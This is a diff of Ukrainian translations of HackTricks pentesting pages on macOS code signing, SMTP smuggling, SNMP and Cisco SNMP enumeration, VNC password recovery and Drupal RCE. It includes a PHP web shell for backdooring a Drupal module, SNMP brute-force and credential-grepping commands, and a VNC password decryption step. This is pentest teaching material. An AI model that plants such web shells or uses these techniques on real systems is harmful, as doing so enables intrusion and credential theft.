Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## Basic Information
Mach-o бінарники містять команду завантаження, звану **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарника. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарника секцію, звану **Code Signature**, з цією інформацією:
Mach-o бінарники містять команду завантаження під назвою **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарника. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарника секцію під назвою **Code Signature** з цією інформацією:
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Магічний заголовок підпису коду - **`0xFADE0CC0`**. Потім ви отримуєте інформацію, таку як довжина та кількість блобів суперBlob, які їх містять.\
Цю інформацію можна знайти в [джерельному коді тут](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
@ -51,8 +51,8 @@ char data[];
} CS_GenericBlob
__attribute__ ((aligned(1)));
```
Звичайні об'єкти, що містяться, - це Директорія коду, Вимоги та Права, а також Синтаксис криптографічного повідомлення (CMS).\
Крім того, зверніть увагу, що дані, закодовані в об'єктах, закодовані в **Big Endian.**
Звичайні об'єкти, що містяться, - це Директорія коду, Вимоги та Права, а також Криптографічний синтаксис повідомлень (CMS).\
Крім того, зверніть увагу, як дані, закодовані в об'єктах, закодовані в **Big Endian.**
Крім того, підписи можуть бути відокремлені від бінарних файлів і зберігатися в `/var/db/DetachedSignatures` (використовується iOS).
@ -114,9 +114,9 @@ char end_withLinkage[0];
} CS_CodeDirectory
__attribute__ ((aligned(1)));
```
Note that there are different versions of this struct where old ones might contain less information.
Зверніть увагу, що існують різні версії цієї структури, де старі можуть містити менше інформації.
## Signing Code Pages
## Сторінки підпису коду
Хешування повного бінарного файлу було б неефективним і навіть марним, якщо він завантажений в пам'ять лише частково. Тому підпис коду насправді є хешем хешів, де кожна бінарна сторінка хешується окремо.\
Насправді, у попередньому коді **Code Directory** ви можете побачити, що **розмір сторінки вказано** в одному з його полів. Більше того, якщо розмір бінарного файлу не є кратним розміру сторінки, поле **CodeLimit** вказує, де закінчується підпис.
@ -163,7 +163,7 @@ openssl sha256 /tmp/*.page.*
MacOS програми не мають всього необхідного для виконання всередині бінарного файлу, але також використовують **зовнішні ресурси** (зазвичай всередині **bundle** програми). Тому в бінарному файлі є кілька слотів, які міститимуть хеші деяких цікавих зовнішніх ресурсів, щоб перевірити, чи не були вони змінені.
Насправді, в структурах Code Directory можна побачити параметр **`nSpecialSlots`**, який вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (від -1 до -6) це:
Насправді, в структурах Code Directory можна побачити параметр під назвою **`nSpecialSlots`**, що вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (з -1 до -6) це:
* Хеш `info.plist` (або той, що всередині `__TEXT.__info__plist`).
* Хеш вимог
@ -175,7 +175,7 @@ MacOS програми не мають всього необхідного дл
## Code Signing Flags
Кожен процес має пов'язану бітову маску, відому як `status`, яка ініціюється ядром, і деякі з них можуть бути переопределені **підписом коду**. Ці прапори, які можуть бути включені в підпис коду, [визначені в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
Кожен процес має пов'язану бітову маску, відому як `status`, яка ініціюється ядром, і деякі з них можуть бути переозначені **підписом коду**. Ці прапори, які можуть бути включені в підпис коду, [визначені в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
```c
/* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */
@ -220,13 +220,13 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
```
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) може також динамічно додавати прапори `CS_EXEC_*` під час запуску виконання.
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
## Вимоги до підпису коду
Кожен додаток зберігає деякі **вимоги**, які він повинен **виконати**, щоб мати можливість виконуватися. Якщо **додаток містить вимоги, які не виконуються додатком**, він не буде виконаний (оскільки, ймовірно, був змінений).
Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному слоті коду**.
Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному кодовому слоті**.
Вимоги бінарного файлу можна побачити, запустивши:
@ -272,14 +272,14 @@ od -A x -t x1 /tmp/output.csreq
#### **Створення та управління вимогами коду**
* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з двійкових даних, що представляють вимогу.
* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкового виразу вимоги.
* **`SecRequirementCopy[Data/String]`**: Отримує двійкове представлення даних `SecRequirementRef`.
* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з бінарних даних, що представляють вимогу.
* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкової виразу вимоги.
* **`SecRequirementCopy[Data/String]`**: Отримує бінарне представлення даних `SecRequirementRef`.
* **`SecRequirementCreateGroup`**: Створює вимогу для членства в групі додатків.
#### **Доступ до інформації про підпис коду**
* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з шляху файлової системи для перевірки підписів коду.
* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з файлового шляху для перевірки підписів коду.
* **`SecCodeCopySigningInformation`**: Отримує інформацію про підпис з `SecCodeRef` або `SecStaticCodeRef`.
#### **Модифікація вимог коду**
@ -296,7 +296,7 @@ od -A x -t x1 /tmp/output.csreq
* **`SecCodeCopy[Internal/Designated]Requirement`: Отримати SecRequirementRef з SecCodeRef**
* **`SecCodeCopyGuestWithAttributes`**: Створює `SecCodeRef`, що представляє об'єкт коду на основі специфічних атрибутів, корисно для пісочниці.
* **`SecCodeCopyPath`**: Отримує шлях файлової системи, пов'язаний з `SecCodeRef`.
* **`SecCodeCopyPath`**: Отримує файловий шлях, пов'язаний з `SecCodeRef`.
* **`SecCodeCopySigningIdentifier`**: Отримує ідентифікатор підпису (наприклад, Team ID) з `SecCodeRef`.
* **`SecCodeGetTypeID`**: Повертає ідентифікатор типу для об'єктів `SecCodeRef`.
* **`SecRequirementGetTypeID`**: Отримує CFTypeID `SecRequirementRef`.
@ -304,7 +304,7 @@ od -A x -t x1 /tmp/output.csreq
#### **Прапори та константи підпису коду**
* **`kSecCSDefaultFlags`**: Значення за замовчуванням, що використовуються в багатьох функціях Security.framework для операцій підпису коду.
* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформацію про підпис слід отримати.
* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформація про підпис повинна бути отримана.
## Примус підпису коду
@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq
## `cs_blobs` & `cs_blob`
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права виконання процесу, що працює на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти операційною системою для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів).
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права запущеного процесу на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним (що перевіряється в різні моменти ОС для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів).
```c
struct cs_blob {
struct cs_blob *csb_next;

View file

@ -21,9 +21,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### Чому
Це пов'язано з тим, що в протоколі SMTP **дані повідомлення**, яке потрібно надіслати в електронному листі, контролюються користувачем (зловмисником), який може надсилати спеціально підготовлені дані, зловживаючи відмінностями в парсерах, які контрабандою додадуть додаткові електронні листи до отримувача. Ознайомтеся з цим ілюстрованим прикладом з оригінального посту:
Це пов'язано з тим, що в протоколі SMTP **дані повідомлення** для відправки в електронному листі контролюються користувачем (зловмисником), який може надсилати спеціально підготовлені дані, зловживаючи відмінностями в парсерах, які контрабандою додадуть додаткові електронні листи до отримувача. Ознайомтеся з цим ілюстрованим прикладом з оригінального посту:
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### Як
@ -32,14 +32,14 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Дослідники виявили, що різні **вхідні сервери вважають різні символи кінцем даних** електронного листа, які вихідні сервери не вважають.\
Наприклад, звичайним кінцем даних є `\r\n.\r`. Але якщо вхідний SMTP сервер також підтримує `\n.`, зловмисник може просто додати **ці дані у свій електронний лист і почати вказувати команди SMTP** нових електронних листів, щоб контрабандою додати їх, як у попередньому зображенні.
Звичайно, це може працювати лише якщо **вихідний SMTP сервер також не розглядає ці дані** як кінець даних повідомлення, оскільки в цьому випадку він побачить 2 електронні листи замість лише 1, тому в кінцевому підсумку це є десинхронізацією, яка використовується в цій вразливості.
Звичайно, це може працювати лише якщо **вихідний SMTP сервер також не розглядає ці дані** як кінець даних повідомлення, оскільки в цьому випадку він побачить 2 електронних листи замість лише 1, тому в кінцевому підсумку це є десинхронізацією, яка використовується в цій вразливості.
Потенційні дані десинхронізації:
* `\n.`
* `\n.\r`
Також зверніть увагу, що SPF обходиться, оскільки якщо ви контрабандою надсилаєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.**
Також зверніть увагу, що SPF обійдено, оскільки якщо ви контрабандою додаєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.**
## **Посилання**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -48,7 +48,7 @@ SNMP також використовує порт **162/UDP** для **трап
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Ви можете **переглядати** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Є кілька **відомих OID**, таких як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
Є кілька **відомих OID**, таких як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що походять з цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
### **Приклад OID**
@ -59,7 +59,7 @@ SNMP також використовує порт **162/UDP** для **трап
Ось розбивка цієї адреси.
* 1 це називається ISO, і це встановлює, що це OID. Саме тому всі OID починаються з "1".
* 3 це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій.
* 3 це називається ORG, і використовується для вказівки організації, яка виготовила пристрій.
* 6 це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет.
* 1 це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет.
* 4 це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою.
@ -87,8 +87,8 @@ SNMP також використовує порт **162/UDP** для **трап
Існує 2 важливі версії SNMP:
* **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака за словником**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
* **SNMPv1**: Основна версія, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **рядок спільноти як автентифікацію**.
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато складніше, ніж у SNMPv1 і v2).
### Рядки спільноти
@ -111,9 +111,9 @@ SNMP також використовує порт **162/UDP** для **трап
* Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) на порт **162**.
* Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**.
## Атака методом грубої сили на рядок спільноти (v1 і v2c)
## Атака методом підбору рядка спільноти (v1 і v2c)
Щоб **вгадати рядок спільноти**, ви можете виконати атаку за словником. Перевірте [тут різні способи виконання атаки методом грубої сили проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
## Перерахування SNMP
@ -124,7 +124,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
Якщо ви знаєте дійсний рядок спільноти, ви можете отримати доступ до даних за допомогою **SNMPWalk** або **SNMP-Check**:
Якщо ви знаєте дійсний рядок спільноти, ви можете отримати доступ до даних, використовуючи **SNMPWalk** або **SNMP-Check**:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -161,7 +161,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
* **`rwcommunity`** для **IPv4** адрес, та
* **`rwcommunity6`** для **IPv6** адрес.
Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
Обидва команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
### Параметри SNMP для Microsoft Windows
@ -193,7 +193,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
## **Масове SNMP**
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні SNMP запитів але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні запитів SNMP але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко.
Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому НЕ потрібні жодні бібліотеки SNMP, такі як net-snmp.
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
```
### **Імена користувачів/Паролі**
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково включати паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
```bash
grep -i "login\|fail" *.snmp
```
@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
## Спуфінг
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у пакеті UDP і прослухати трафік.
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у UDP-пакеті та прослуховувати трафік.
## Перевірка конфігураційних файлів SNMP
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
Практичним інструментом для виконання таких атак брутфорсом є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
```bash
onesixtyone -c communitystrings -i targets
```
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -1,8 +1,8 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -45,12 +45,12 @@ vncviewer [-passwd passwd.txt] <IP>::5901
За замовчуванням **пароль зберігається** в: \~/.vnc/passwd
Якщо у вас є пароль VNC, і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
Якщо у вас є пароль VNC і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був скасований багато років тому.\
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування простих VNC паролів, був перевернутий багато років тому.\
Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Я зберігаю інструмент тут також для зручності доступу:
@ -60,15 +60,15 @@ vncpwd <vnc password file>
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -76,7 +76,7 @@ vncpwd <vnc password file>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -55,20 +55,20 @@ curl http://drupal-site.local/node/3
У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.
{% endhint %}
Модуль з бекдором можна створити, **додавши оболонку до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
Модуль з бекдором можна створити, **додавши shell до існуючого модуля**. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, наприклад, [CAPTCHA](https://www.drupal.org/project/captcha). Прокрутіть вниз і скопіюйте посилання на tar.gz [архів](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Завантажте архів і розпакуйте його вміст.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Створіть **PHP веб-оболонку** з вмістом:
* Створіть **PHP web shell** з вмістом:
```php
<?php
system($_GET["cmd"]);
?>
```
* Далі нам потрібно створити файл **`.htaccess`**, щоб надати собі доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**.
* Далі нам потрібно створити файл **`.htaccess`**, щоб отримати доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/
### Частина 1 (активація _Медіа_ та _Медійна бібліотека_)
У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, які вже встановлені. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо.
